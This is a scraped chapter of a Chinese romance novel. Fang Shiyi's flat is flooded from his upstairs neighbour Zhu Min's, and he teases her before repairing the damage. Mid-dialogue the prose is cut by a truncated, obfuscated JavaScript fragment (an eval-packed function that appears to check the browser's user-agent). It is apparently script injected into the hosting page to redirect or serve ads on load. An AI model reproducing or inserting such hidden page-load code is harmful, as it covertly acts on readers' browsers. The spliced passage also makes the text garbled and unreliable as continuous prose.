方世易皮笑肉不笑。 彭佳梦又说:“安全起见嘛,万一他儿子闺女出点什么意外,你也不好交代。” 方世易回怼道:“人都要判死刑了,跟谁交代?你不知道他犯的什么罪?” 彭佳梦脸色一变。 方世易压根没将她放眼里,却有些不易察觉地出神,沉默了一会,最终还是答应了。 这趟来得收获满满,彭佳梦心满意足。 她右手覆上他粗粝的短发,从鬓角抚到眉眼,一下又一下:“剪头发了?短了点,不过怪性感。” 方世易甩开她的手:“少发点骚,没男人活不下去了?” 彭佳梦也不生气,退半步说:“其实我挺好奇,你和老王之前走那么近,怎么到头来,他和他底下那帮兄弟,还有上头那位全倒台了,只有你全须全尾留下了啊?” “你哪只眼睛看我全须全尾?”方世易阴冷笑笑,心情一差,嘴损得不行,“少拿话点我,管不管你全看我心情,要不然就滚去睡大街。” 直到王莽被抓,彭佳梦才知道他背地里那些灰产和勾当,原本只是试探问问,被方世易爆棚的男人味吸引,心直痒痒,忙顺毛捋,不好再说什么。 这趟行程在所难免,方世易回店里交代两句,直接走了。 他出去三天,安顿好彭佳梦和两个孩子,请帮着忙前忙后的朋友吃个饭,顺便到当地最大的汽配城看看,采购一批货。 回湘城当天天气不好,雨幕重重,高速路堵了会车,方世易傍晚才到家。 楼道里发阴发潮,他摸黑把钥匙插进锁芯,门一开,一股水流顺着坡度,冲过门槛溢出来,客厅和洗手间的棚顶滴滴答答漏水,地板反着光。 整个房间像水帘洞,一泻千里。 - 朱闵这两天同样没闲着,这走那停,四处逛了逛,想尽快熟悉环境。 绿尾巷附近是职高和卫校,整条巷子排满了商铺,杂七杂八卖什么的都有,琳琅满目。 地下有个服装城,寒暑假生意照样火爆,来来往往的年轻男女不少,这季节已经开始卖早秋穿的衣服,质量远不及商场的,但胜在款式新颖,穿上洋气,价格也便宜。 朱闵跟一个面善的老板娘打听了进货渠道,打车去了趟城郊,想了解一下那几家服装厂的规模。 她积蓄不多,总不能坐吃山空,得想办法赚钱,在这座城市扎稳脚跟。 朱闵其实没有任何工作经验,本科学的小语种,毕业前收到一个还不错的offer,因为赵关澜没能入职——他不需要她辛苦工作,也不喜欢她抛头露面。 这几年她无所事事,赵关澜不在的时候,要么上一些无关痛痒的插花课、礼仪课、瑜伽课,要么拿着他的卡出去逛街,约人打牌、做spa,学校学到的专业知识早忘得一干二净,倒是对穿搭这一类见解独到——她见过太多,也买过太多,熟能生巧。 转一圈下来没多少收获,突然下起大雨,朱闵被困在郊外几个小时,等雨停了,好不容易才拦到一辆出租车回家。 雨后闷潮,腥咸的怪味飘散开,朱闵右手提着托特包,打着手电筒一步步上到五楼到六楼的拐角,又闻到一股似有若无的烟味。 方世易松散地靠在她家门口,整个人融进黑暗里,肩膀上搭件夹克,指间夹着烟,脚边一堆烟头,似乎已经等她很久了。 他出声打破安静:“回来了。” 朱闵毫无准备,突兀又意外,心跳声快要刺穿耳膜,她默了几秒,很快让自己平静下来,问他怎么在这。 方世易由上自下看她:“听说你大清早就出门了,走挺久。” 这几天楼下没动静,朱闵猜到他大概不在家,看似淡定地回:“你也挺久的。” 方世易打趣:“早知道你关注我,就提前跟你报个备了。” “不用。” 两人隔着半面楼梯,朱闵杵在安全区域里,迟迟没迈出脚,她手伸进包里翻手机,盲点屏幕,随时能报警。 方世易将门口几个烟头踢走,跟她说起正事:“我家被淹了,上来找你讨个公道。” 朱闵没想到他找她是因为这个,蹙眉:“淹到什么程度?” 她记得出门前明明关了窗。 “差不多能开家游泳馆了,得重装一遍。” 方世易直接把家门钥匙丢给她,叫她自己去看。 手电筒的光线晃了晃,下一秒,东西稳稳甸在她手里,汲取了他的体温,凉热交替。 朱闵朝楼下看了眼,没去求证,轻声细语同他商量:“我不知道怎么漏的水,给你添麻烦了。等什么时候有空,你找人定个损,维修费我出,损坏了什么东西我也一起赔给你。” “这就完了?” “或者你想怎么解决?” “光赔钱怎么行。”方世易一副不好说话的架势,慢条斯理道,“这段时间我住哪?我这人认床,睡不着觉算谁的?” 朱闵这些年被保护得密不透风,从没接触过他这种类型的男人——人高马大,体型宽阔,骨子里透出一股成熟稳重的狠劲,这会又换上地痞无赖的流氓面孔,叫人敢怒不敢言。 人本能懂得趋利避害,她涉事再浅,也不会像和房东对峙那样和他交涉。 以卵击石,自不量力。 朱闵脸色一阵红一阵白,钥匙尖角抵着掌心的软肉,她拗着修长脖颈,正想说点什么,听见他轻浮一声笑:“逗你呢,看不出来?” 她一口气怄在喉咙里,咽不下吐不出,一直以来麻木平静的情绪有了涟漪,难得冒出一点活人该有的生气。 方世易轻抬下巴,叫她上来:“把门打开。” 情绪被调动起来,加上防备心,朱闵语气带着自己都没察觉的动荡,像秋冬入夜时分波光粼粼的海水:“做什么?” “看看里面什么情况。” “有工人的联系方式吗?我打电话叫他们来修。” 外头电闪雷鸣,转眼骤雨瓢泼,方世易瞧着天色:“这鬼天气没人愿意上门,替你修这修那。”这两天没怎么睡好,烟瘾又重,他歪头咳嗽一声,嗓子哑几分,“再漏下去房子还要不要了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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窗外的雨声淅淅沥沥,与世隔绝,密闭空间静得微妙,每分每秒被拉长。朱闵对他防备加芥蒂,无心闲聊,但还是问了个不咸不淡的问题打发时间:“你是本地人吗?” “听我口音不像?” “不像。” 他其实没什么口音,讲话字正腔圆,尾调微微上挑,带点不正经。 “我是北方人。”方世易朝她伸手,“铲刀递我。” 朱闵照做。 三两下修补完,止住了漏水的源头,方世易顺带把她家里泡发的瓷砖地板撬开,用吹风机烘干,重新铺贴。 室温快四十度,稍有动作就能热得大汗淋漓,碍于朱闵在,方世易没光着膀子,只把黑色短袖的两个袖口挽到肩膀,露出棱形的肱二头肌,皮肤油光发亮,手上和胳膊沾满了灰。他全然不在意,专心做手头的事,时不时跟她交流几句。 六楼弄完,又开始弄五楼,朱闵和他一起下去,帮着打下手。 可能是固有印象,她原以为他这种人的生活节奏混乱,住的地方同样不堪入目,结果恰恰相反,屋里干净整洁,床铺叠成豆腐块,空气中有股淡淡的皂荚香。地上都是水,但远没到可以开游泳馆的程度,也不需要重装——他又在戏弄她。 朱闵站在置物架旁,眉目浅薄,不至于生气,但也不见得有多高兴。 方世易一眼明了,鼻息溢出一丝笑意,沉稳又张扬:“都出门在外了,什么话你都信,你不吃亏谁吃亏?” 静默几秒,朱闵淡笑,客气又疏离:“不管怎么样,你这里确实漏水了,该赔的我会赔——还有今天谢谢你,该付的酬劳我也会付。” 方世易没说什么,突然朝她走近,在她面前站定,若即若离的半步之遥,朱闵被他澎湃的气息包裹住,无端屏了下呼吸。 他稍稍俯身,手臂悬在半空,从她的耳侧穿过,去拿架子上的毛巾,她整个人被虚虚环住,处在一个狭窄空间里。 他站直了,一点点擦净手和颈间的汗,把毛巾丢到她手里:“酬劳就算了,我价高,你也付不起。” “记得欠我个人情。”